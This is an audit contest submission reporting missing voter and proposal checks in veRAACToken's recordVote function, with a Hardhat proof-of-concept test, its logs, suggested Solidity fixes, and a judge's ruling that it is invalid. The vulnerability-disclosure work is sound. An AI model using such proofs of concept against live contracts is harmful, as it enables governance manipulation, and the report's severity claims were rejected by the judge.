Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Multiple Design Flaws in veRAACToken's Vote Recording System

Summary

The recordVote function in veRAACToken contains multiple design flaws that compromise voting integrity, including lack of proposal validation, incorrect voting power calculation, and missing voter eligibility checks.

Vulnerability Details

  1. Missing Voter Eligibility:

    • No check if voter has any voting power, this allow any one with or without voting power to record their vote

  2. Missing Proposal Registration:

    • There is no function to register valid proposals

    • Also, there is no way to set proposal snapshots, only getVotingPowerForProposal which is use to retrieve voting power for a specific proposal.

    • Incomplete governance integration

  3. Incorrect Power Calculation:

    • It uses current power (getVotingPower) instead of snapshot power to get the available power for the voter.

  4. Invalid Proposal Voting:

    • There is no validation to check if proposalId exists as the contract lacks mapping/state to track valid proposals, this allow users to record votes for non-existent proposals.

PoC:

it.only("anyone should be able to vote on any proposal", async () => {
const amount = ethers.parseEther("1000");
const duration = 365 * 24 * 3600; // 1 year
await veRAACToken.connect(users[0]).lock(amount, duration);
const power = await veRAACToken.getVotingPower(users[0].address);
console.log("voting power", power);
// create attacker account
console.log("\n=============attacker details ===========");
const attacker = users[10];
console.log("\n attacker address", attacker.address);
console.log(
"attacker token balance",
await raacToken.balanceOf(attacker.address)
);
// attacker should be able to vote
const tx = await veRAACToken.recordVote(attacker.address, 1);
const receipt = await tx.wait();
console.log("\n ==========logs of the successful vote==========");
console.log(receipt.logs);
});

Output:

voting power 250000000000000000000n
=============attacker details ===========
attacker address 0x71bE63f3384f5fb98995898A86B02Fb2426c5788
attacker token balance 0n
==========logs of the successful vote==========
[
EventLog {
provider: HardhatEthersProvider {
_hardhatProvider: [LazyInitializationProviderAdapter],
_networkName: 'hardhat',
_blockListeners: [],
_transactionHashListeners: Map(0) {},
_eventListeners: []
},
transactionHash: '0x0f1ab7b29fe5c456a8e5d0f390c741b3e5db629ca10ac85b709fc268f6efa454',
blockHash: '0xd6e807d8d5c891c78478b22b5a409e2bc58a18e8135f5e3b3b6281e1dca601ab',
blockNumber: 92,
removed: undefined,
address: '0x5f3f1dBD7B74C6B46e8c44f98792A1dAf8d69154',
data: '0x0000000000000000000000000000000000000000000000000000000000000000',
topics: [
'0xb4cfecf70861b7b150d8337780d34fb4cbc2114b5fb1fe51a5c5fca1849f7274',
'0x00000000000000000000000071be63f3384f5fb98995898a86b02fb2426c5788',
'0x0000000000000000000000000000000000000000000000000000000000000001'
],
index: 0,
transactionIndex: 0,
interface: Interface {
fragments: [Array],
deploy: [ConstructorFragment],
fallback: null,
receive: false
},
fragment: EventFragment {
type: 'event',
inputs: [Array],
name: 'VoteCast',
anonymous: false
},
args: Result(3) [ '0x71bE63f3384f5fb98995898A86B02Fb2426c5788', 1n, 0n ]
}
]
✔ anyone should be able to vote on any proposal

Impact

  • It will create an unreliable voting history because there is no way to track voting history.

  • Governance system will be messed up because it allow anyone who either hold or does not hold token to vote.

  • Votes can be recorded for non-existent proposals which will create invalid governance records

Tools Used

Manual code review

Recommendations

  1. Add Proposal Tracking:

    mapping(uint256 => bool) public validProposals;
    function registerProposal(uint256 proposalId) external onlyOwner {
    require(!validProposals[proposalId], "proposal already exist");
    validProposals[proposalId] = true;
    proposalPowerSnapshots[proposalId] = block.number;
    emit ProposalRegistered(proposalId);
    }
  2. Fix Vote Recording:

    function recordVote(address voter, uint256 proposalId) external {
    // Validate proposal
    if (!validProposals[proposalId]) revert InvalidProposal();
    if (_hasVotedOnProposal[voter][proposalId]) revert AlreadyVoted();
    // Get snapshot power
    uint256 power = getVotingPowerForProposal(voter, proposalId);
    if (power == 0) revert NoVotingPower();
    _hasVotedOnProposal[voter][proposalId] = true;
    emit VoteCast(voter, proposalId, power);
    }
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.